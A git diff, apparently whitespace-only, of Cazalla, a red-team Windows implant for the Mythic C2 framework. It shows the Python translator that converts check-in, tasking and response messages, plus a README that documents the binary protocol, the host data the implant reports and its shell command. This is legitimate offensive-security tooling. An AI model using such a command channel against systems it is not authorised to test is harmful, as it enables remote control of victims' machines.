-from translator.commands_from_c2 import * -from translator.commands_from_implant import * - -from mythic_container.TranslationBase import * - -class cazalla_translator(TranslationContainer): - name = "cazalla_translator" - description = "python translation service for the Kaseya C agent Cazalla" - author = "OFSTeam" - - async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: - response = TrGenerateEncryptionKeysMessageResponse(Success=True) - response.DecryptionKey = b"" - response.EncryptionKey = b"" - return response - - async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: - response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) - print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) - if inputMsg.Message["action"] == "checkin": - print("Response CHECKIN") - response.Message = responseCheckin(inputMsg.Message["id"]) - elif inputMsg.Message["action"] == "get_tasking": - print("Response TASKING") - response.Message = responseTasking(inputMsg.Message["tasks"]) - elif inputMsg.Message["action"] == "post_response": - print("Response POSTREP") - response.Message = responsePosting(inputMsg.Message["responses"]) - return response - - async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: - response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) - print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) - #response.Message = json.loads(inputMsg.Message) - data = inputMsg.Message - if data[0] == commands["checkin"]["hex_code"]: - print("CHECK IN") - response.Message = checkIn(data[1:]) - elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING - print("GET TASKING") - response.Message = getTasking(data[1:]) - elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE - print("POST RESPONSE") - response.Message = postResponse(data[1:]) - - return response +import json +import base64 +import binascii +import os + +from translator.utils import * +from translator.commands_from_c2 import * +from translator.commands_from_implant import * + +from mythic_container.TranslationBase import * + +class cazalla_translator(TranslationContainer): + name = "cazalla_translator" + description = "python translation service for the Kaseya C agent Cazalla" + author = "OFSTeam" + + async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse: + response = TrGenerateEncryptionKeysMessageResponse(Success=True) + response.DecryptionKey = b"" + response.EncryptionKey = b"" + return response + + async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse: + response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True) + print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message)) + if inputMsg.Message["action"] == "checkin": + print("Response CHECKIN") + response.Message = responseCheckin(inputMsg.Message["id"]) + elif inputMsg.Message["action"] == "get_tasking": + print("Response TASKING") + response.Message = responseTasking(inputMsg.Message["tasks"]) + elif inputMsg.Message["action"] == "post_response": + print("Response POSTREP") + response.Message = responsePosting(inputMsg.Message["responses"]) + return response + + async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse: + response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True) + print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850')) + #response.Message = json.loads(inputMsg.Message) + data = inputMsg.Message + if data[0] == commands["checkin"]["hex_code"]: + print("CHECK IN") + response.Message = checkIn(data[1:]) + elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING + print("GET TASKING") + response.Message = getTasking(data[1:]) + elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE + print("POST RESPONSE") + response.Message = postResponse(data[1:]) + + return response diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/cazalla/translator/utils.py index 2349376..2fbf728 100644 --- a/Payload_Type/cazalla/translator/utils.py +++ b/Payload_Type/cazalla/translator/utils.py @@ -1,7 +1,7 @@ -import base64 -import os - -def getBytesWithSize(data): - size = int.from_bytes(data[0:4]) - data = data[4:] +import base64 +import os + +def getBytesWithSize(data): + size = int.from_bytes(data[0:4]) + data = data[4:] return data[:size], data[size:] \ No newline at end of file diff --git a/README.md b/README.md index 10bd321..141fc7d 100644 --- a/README.md +++ b/README.md @@ -1,185 +1,185 @@ -# Cazalla - Basic Mythic Implant in C - -Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework. - -This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements. - -Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates. - -## Install Cazalla - -Once Mythic is installed and running, use the following command to install Cazalla: - -```sh -./mythic-cli install github -``` - -## Detection - -A YARA rule can be provided for detection purposes. - -## Communication Protocol - -### HEADER - Implant to C2 - -| Key | Key Len (bytes) | Type | -|---------|-------------------|------------| -| UUID | 36 | Str (char*)| -| Action | 1 | UInt32 | - -### HEADER - C2 to Implant - -| Key | Key Len (bytes) | Type | -|---------|-------------------|------------| -| Action | 1 | Int32 | - -UUID | BODY - -#### Checkin - Implant to C2 - -Expected: - -```json -{ - "action": "checkin", - "uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15", - "ip": "127.0.0.1", - "os": "win", - "arch": "x64", - "hostname": "PC", - "user": "bob", - "domain": "domain.com", - "pid": 123, - "processname": "malware.exe" -} -``` - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| UUID | 36 | Str (char*) | -| Size IP | 4 | Uint32 | -| IP | Size IP | Str (char*) | -| Size OS | 4 | Uint32 | -| OS | Size OS | Str (char*) | -| Architecture | 1 | Int | -| Size Hostname | 4 | Uint32 | -| HostName | Size Hostname | Str (char*) | -| Size Username | 4 | Uint32 | -| Username | Size Username | Str (char*) | -| Size Domain | 4 | Uint32 | -| Domain | Size Domain | Str (char*) | -| PID | 4 | Uint32 | -| Size Process | 4 | Uint32 | -| Process Name | Size Process Name | Str (char*) | -| Size ExternIP | 4 | Uint32 | -| Extern IP | Size Extern IP | Str (char*) | - -### Checkin - C2 to Implant - -| Key | Key Len (bytes) | Type | -|----------|-------------------|-------------| -| New UUID | 36 | Str (char*) | -| Status | 1 | Byte | - -### GetTasking - Implant to C2 - -Expected: - -```json -{ - "action": "get_tasking", - "tasking_size": 1 -} -``` - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Number tasks | 4 | Uint32 | - -### GetTasking - C2 to Implant - -Expected: - -```json -{ - "action": "get_tasking", - "tasks": [ - { - "command": "command name", - "parameters": "command param string", - "timestamp": 1578706611.324671, - "id": "task uuid" - } - ] -} -``` - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| NumberOfTasks | 4 | Uint32 | -| Size Of Task1 | 4 | Uint32 | -| Task1 CMD | 1 | Int | -| Task1 UUID | 36 | Str (char*) | -| Task1 LenPara1| 4 | Uint32 | -| Task1 Param1 | LenParam1 Task1 | Str(char*) | - -### Post Response Header - Implant to C2 - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Number Resp | 4 | Uint32 | - -### Post Response Header - C2 to Implant - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Number Resp | 4 | Uint32 | - -### Post Response Classic Output Return - Implant to C2 - -Expected: - -```json -{ - "action": "post_response", - "responses": [ - { - "task_id": "uuid of task", - ... response message - } - ] -} -``` - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| UUID Resp 1 | 36 | Str (char*) | -| Size Output R1| 4 | Uint32 | -| Output R1 | Size Output | Bytes | -| Status R1 | 1 | Int | - -### Post Response Classic Output Return - C2 to Implant - -Expected: - -```json -{ - "action": "post_response", - "responses": [ - { - "task_id": UUID, - "status": "success" or "error", - "error": "error message if it exists" - } - ] -} -``` - -| Key | Key Len (bytes) | Type | -|---------------|-------------------|-------------| -| Status Resp1 | 1 | Int | - -## Future Development - -This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities. - +# Cazalla - Basic Mythic Implant in C + +Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework. + +This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements. + +Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates. + +## Install Cazalla + +Once Mythic is installed and running, use the following command to install Cazalla: + +```sh +./mythic-cli install github +``` + +## Detection + +A YARA rule can be provided for detection purposes. + +## Communication Protocol + +### HEADER - Implant to C2 + +| Key | Key Len (bytes) | Type | +|---------|-------------------|------------| +| UUID | 36 | Str (char*)| +| Action | 1 | UInt32 | + +### HEADER - C2 to Implant + +| Key | Key Len (bytes) | Type | +|---------|-------------------|------------| +| Action | 1 | Int32 | + +UUID | BODY + +#### Checkin - Implant to C2 + +Expected: + +```json +{ + "action": "checkin", + "uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15", + "ip": "127.0.0.1", + "os": "win", + "arch": "x64", + "hostname": "PC", + "user": "bob", + "domain": "domain.com", + "pid": 123, + "processname": "malware.exe" +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| UUID | 36 | Str (char*) | +| Size IP | 4 | Uint32 | +| IP | Size IP | Str (char*) | +| Size OS | 4 | Uint32 | +| OS | Size OS | Str (char*) | +| Architecture | 1 | Int | +| Size Hostname | 4 | Uint32 | +| HostName | Size Hostname | Str (char*) | +| Size Username | 4 | Uint32 | +| Username | Size Username | Str (char*) | +| Size Domain | 4 | Uint32 | +| Domain | Size Domain | Str (char*) | +| PID | 4 | Uint32 | +| Size Process | 4 | Uint32 | +| Process Name | Size Process Name | Str (char*) | +| Size ExternIP | 4 | Uint32 | +| Extern IP | Size Extern IP | Str (char*) | + +### Checkin - C2 to Implant + +| Key | Key Len (bytes) | Type | +|----------|-------------------|-------------| +| New UUID | 36 | Str (char*) | +| Status | 1 | Byte | + +### GetTasking - Implant to C2 + +Expected: + +```json +{ + "action": "get_tasking", + "tasking_size": 1 +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number tasks | 4 | Uint32 | + +### GetTasking - C2 to Implant + +Expected: + +```json +{ + "action": "get_tasking", + "tasks": [ + { + "command": "command name", + "parameters": "command param string", + "timestamp": 1578706611.324671, + "id": "task uuid" + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| NumberOfTasks | 4 | Uint32 | +| Size Of Task1 | 4 | Uint32 | +| Task1 CMD | 1 | Int | +| Task1 UUID | 36 | Str (char*) | +| Task1 LenPara1| 4 | Uint32 | +| Task1 Param1 | LenParam1 Task1 | Str(char*) | + +### Post Response Header - Implant to C2 + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number Resp | 4 | Uint32 | + +### Post Response Header - C2 to Implant + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Number Resp | 4 | Uint32 | + +### Post Response Classic Output Return - Implant to C2 + +Expected: + +```json +{ + "action": "post_response", + "responses": [ + { + "task_id": "uuid of task", + ... response message + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| UUID Resp 1 | 36 | Str (char*) | +| Size Output R1| 4 | Uint32 | +| Output R1 | Size Output | Bytes | +| Status R1 | 1 | Int | + +### Post Response Classic Output Return - C2 to Implant + +Expected: + +```json +{ + "action": "post_response", + "responses": [ + { + "task_id": UUID, + "status": "success" or "error", + "error": "error message if it exists" + } + ] +} +``` + +| Key | Key Len (bytes) | Type | +|---------------|-------------------|-------------| +| Status Resp1 | 1 | Int | + +## Future Development + +This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities. + diff --git a/config.json b/config.json index 3b2d2cf..eab2ad7 100644 --- a/config.json +++ b/config.json @@ -1,7 +1,7 @@ -{ - "exclude_payload_type": false, - "exclude_c2_profiles": true, - "exclude_documentation_payload": true, - "exclude_documentation_c2": true, - "exclude_agent_icons": false -} +{ + "exclude_payload_type": false, + "exclude_c2_profiles": true, + "exclude_documentation_payload": true, + "exclude_documentation_c2": true, + "exclude_agent_icons": false +}